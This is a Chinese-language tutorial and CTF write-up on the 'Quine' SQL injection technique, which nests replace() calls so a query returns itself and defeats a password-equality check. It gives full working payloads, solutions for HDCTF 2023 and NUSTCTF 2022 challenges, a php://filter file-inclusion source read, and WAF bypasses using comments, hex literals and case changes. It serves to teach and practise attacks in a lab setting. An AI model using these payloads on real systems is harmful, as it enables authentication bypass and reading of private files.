Quine 技术

sql注入技术中,Quine是一种使得输入sql语句和输出的sql语句一致的技术。

SQL中的replace()函数

语法

REPLACE(string_expression , string_pattern , string_replacement)
#string_expression是待处理的字符串表达式(字符或二进制数据)
#string_pattern是要查找的子字符串(字符或二进制数据,但是不能为空)
#string_replacement是用来替换的字符串(字符或二进制数据)
replace(object,search,replace)
#把object对象中出现的的search全部替换成replace

案例分析

首先看这个例子。

# object  = .
# search = char(46)
# replace = .
select replace(".",char(46),".");# char(46)就是.
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+

该语句就是将object中的".",替换成了"."

那么我们把object写成replace(".",char(46),".")

# object  = replace(".",char(46),".")
# search = char(46)
# replace = .
select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),".") |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+

进一步,我们把用来替换的字符串也修改为replace(“.”,char(46),”.”)

# object  = replace(".",char(46),".")
# search = char(46)
# replace = replace(".",char(46),".")
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+

这时候我们发现,我们的输入语句和输出语句已经十分相似,仅有单引号与双引号之间的差别。

解决单双引号不同的问题。

# char(34) = "      	char(39) = '
# object = replace('"."',char(34),char(39)) == 【'.'】
# search = char(46)
# replace = .
select replace(replace('"."',char(34),char(39)),char(46),".");# 先执行内层replace
+--------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),".") |
+--------------------------------------------------------+
| '.' |
+--------------------------------------------------------+

分析以下这个语句,首先执行内层replacereplace('"."',char(34),char(39))将object中的双引号,转换成单引号得到'.',然后执行外层replace将.替换成.

# object  = replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)
# search = char(46)
# replace = replace(replace(".",char(34),char(39)),char(46),".")
select replace
(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),
char(46),
'replace(replace(".",char(34),char(39)),char(46),".")' );
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+

Quine的基本形式

select replace(replace('str',char(34),char(39)),char(46),'str');
# 这样去查询就会的得到str字符串本身,不过就是咋这里要多一步,先将str里的双引号替换成单引号,再用str替换str里的.

注入的Quine基本形式

1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'') #
# 这样去查询就会得到一个空的结果
'
select replace(replace('"."',char(34),char(39)),char(46),".");
# 这条语句用来把双引号替换为单引号
1'/**/union/**/select/**/replace(replace('',char(34),char(39)),char(46),'')#
可理解成我们的Quine的基本形式
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
这个就是我们str的基本形式

先将str里的双引号替换成单引号
1'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#
最终通过来回替换的形式达到了我们的目的

我们将Quine中的空白,替换成str就得到了一般的payload。

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

题目分析

[HDCTF 2023]Login Master

开题,一个登录框

1

访问robots.txt得到源代码

function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

$row['password'] === $password根据这条语句,提示我们要使用quine注入。

构造pyload:

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

在登录中输入usernam=admin,password=payload获得flag

[NUSTCTF 2022 新生赛]Translate

开题,同样是一个登录框

2

F12发现提示/dGVzdC5waHA=解码之后发现是/test.php

<?php
include_once("fun.php");
//我的室友板鸭把flag藏到flag.php里了
highlight_file(__FILE__);
error_reporting(0);

$file = $_GET['file'];
if (!is_file($file)) {
highlight_file(filter($file));
} else {
echo "我室友说了,会有大坏蛋来敲门!";
}

这里存在一个文件包含漏洞。

payload:

?file=php://filter/convert.base64/resource=flag.php

这时候发现应该是过滤了base64,替换其他的编码方式。

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

payload:

?file=php://filter/convert.iconv.UTF-7/resource=flag.php

得到部分源代码

 <?php
// index.php
// ...
checkSql($password);
// ...
// Only filtered a little
// ...
if ($row['password'] === $password) {
alertMes($FLAG, 'index.php');
} else {
alertMes("wrong password", 'index.php');
}
// ...
?>

同样,根据这里的$row['password'] === $password我们也使用Quine注入。

直接使用上题的payload,发现存在waf

fuzz之后发现过滤了空格和chr

0x代替chr

payload

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(replace(".",0x22,0x27),0x2e,".")#')#

没有成功告诉我们"事不过三"

这时候大小写绕过替换replace

最终payload:

1'/**/union/**/select/**/replace(REPLACE('1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#',0x22,0x27),0x2e,'1"/**/union/**/select/**/replace(REPLACE(".",0x22,0x27),0x2e,".")#')#